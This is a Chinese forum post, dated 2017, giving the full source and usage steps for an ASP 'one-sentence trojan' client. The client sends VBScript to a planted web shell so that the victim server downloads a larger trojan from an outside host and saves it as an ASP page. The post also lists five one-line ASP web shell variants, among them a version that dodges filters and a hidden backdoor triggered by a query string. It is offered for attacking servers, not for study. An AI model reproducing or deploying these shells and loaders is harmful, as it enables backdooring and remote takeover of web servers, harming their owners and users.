asp一句话木马客户端下载和使用教程

灰儿 · 2017-2-20 11:34:44

4年前写过的一个小小的asp木马利用程序。
可以调用XMLHTTP控件让服务器从网上下载ASP木马并保存在服务器上!
可以突破服务器的关键词过滤而导制的我们的大马无法正常提交的障碍!
asp一句话木客户端代码如下：

<HTML><HEAD><TITLE>ＡＳＰ一句话客户端</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css><!--
body {
background-color: #000000;
font-size: 12px;
}
.bad {
border: 1px solid #33ff00;
font-size: 12px;
link{COLOR:#33ff00;};A:visited{COLOR:#33ff00;};
}
-->
</STYLE>
<META content="MSHTML 6.00.2900.3132" name=GENERATOR></HEAD>
<BODY>
<CENTER>
<DIV
style="FONT-SIZE: 16pt; FILTER: glow(color=#33ff00, strength=6); WIDTH: 350px; COLOR: #33ff00; LINE-HEIGHT: 35pt; FONT-FAMILY: Comic Sans MS; POSITION: relative"><br>ＡＳＰ一句话客户端远程上传版</DIV>
<TABLE class=bad height=14 cellSpacing=0 width=627 align=center border=1 boodercolor=#33ff00>
<TBODY>
<TR>
<TD width=794 height=1>
<FORM name=pass method=post><FONT color=#33ff00>服务端网址:</FONT><INPUT id=act
size=76 value=http:// name=act> <INPUT onclick=this.form.blfy.name=this.form.password.value;this.form.action=this.form.act.value; type=submit value=GOGOGO>
<BR><FONT color=#33ff00>登陆密码: </font><INPUT id=password size=76 value=blfy name=password> <INPUT id=blfy
type=hidden
value='Execute("Session(""blfy"")=request(""*""):Execute(Session(""blfy""))")'
name=blfy> </TD></TR>
<TR>
<TD width=794 height=100><TEXTAREA name=* rows=5 cols=100 width="45">Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.jbl86.com/news.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("kenn.asp"),2
set sGet = nothing
set sPOST = nothing
response.redirect "kenn.asp"</TEXTAREA> </TD></TR>
<TR>
<TD width=794 height=7><font color=#33ff00>把红色的<FONT color=red> blfy </FONT>换成您的密码! 提供五个服务端: <BR>1.
<%eval request("<FONT color=red>blfy</FONT>")%> <BR>2. <%execute
request("<FONT color=red>blfy</FONT>")%> <BR>3.
<%execute(request("<FONT color=red>blfy</FONT>"))%> <BR>
4、<script language=VBScript runat=server>execute request("<FONT color=red>blfy</FONT>")</Script> 突破<%%>过滤版<br>
5、<%If request("5") ="5" then eval request("<FONT color=red>blfy</FONT>") end if %> 隐蔽后门版,访问格式为: help.asp?5=5<br></font>
</TD></TR></TBODY></TABLE>
</FORM></CENTER><font color="#33ff00">
<center>
本程序可以调用XMLHTTP控件让服务器从网上下载ASP木马并保存在服务器上!<br>
可以突破服务器的关键词过滤而导制的我们的大马无法正常提交的障碍! <br><br>
使用方法: 先把自己的ASP大马上传的自己的空间里.只能是TXT格式.<br>
再把 http://www.jbl86.com/news.txt 改成你的网马地址.如 http://www.921506.cn/muma.txt <br>
再把两个 kenn.asp 都改成你要保存的木马的文件名.如: muma.asp 默认地址可以不改: kenn.asp<br><br>
程序设计： Kenn QQ:921506 Blog: <a href=http://www.cnblogs.com/kenn0626>myBlog</a></center></font></BODY></HTML>

复制代码

客户端界面截图：

		自动登录	找回密码
密码			注册

asp一句话木马客户端下载和使用教程

关注我们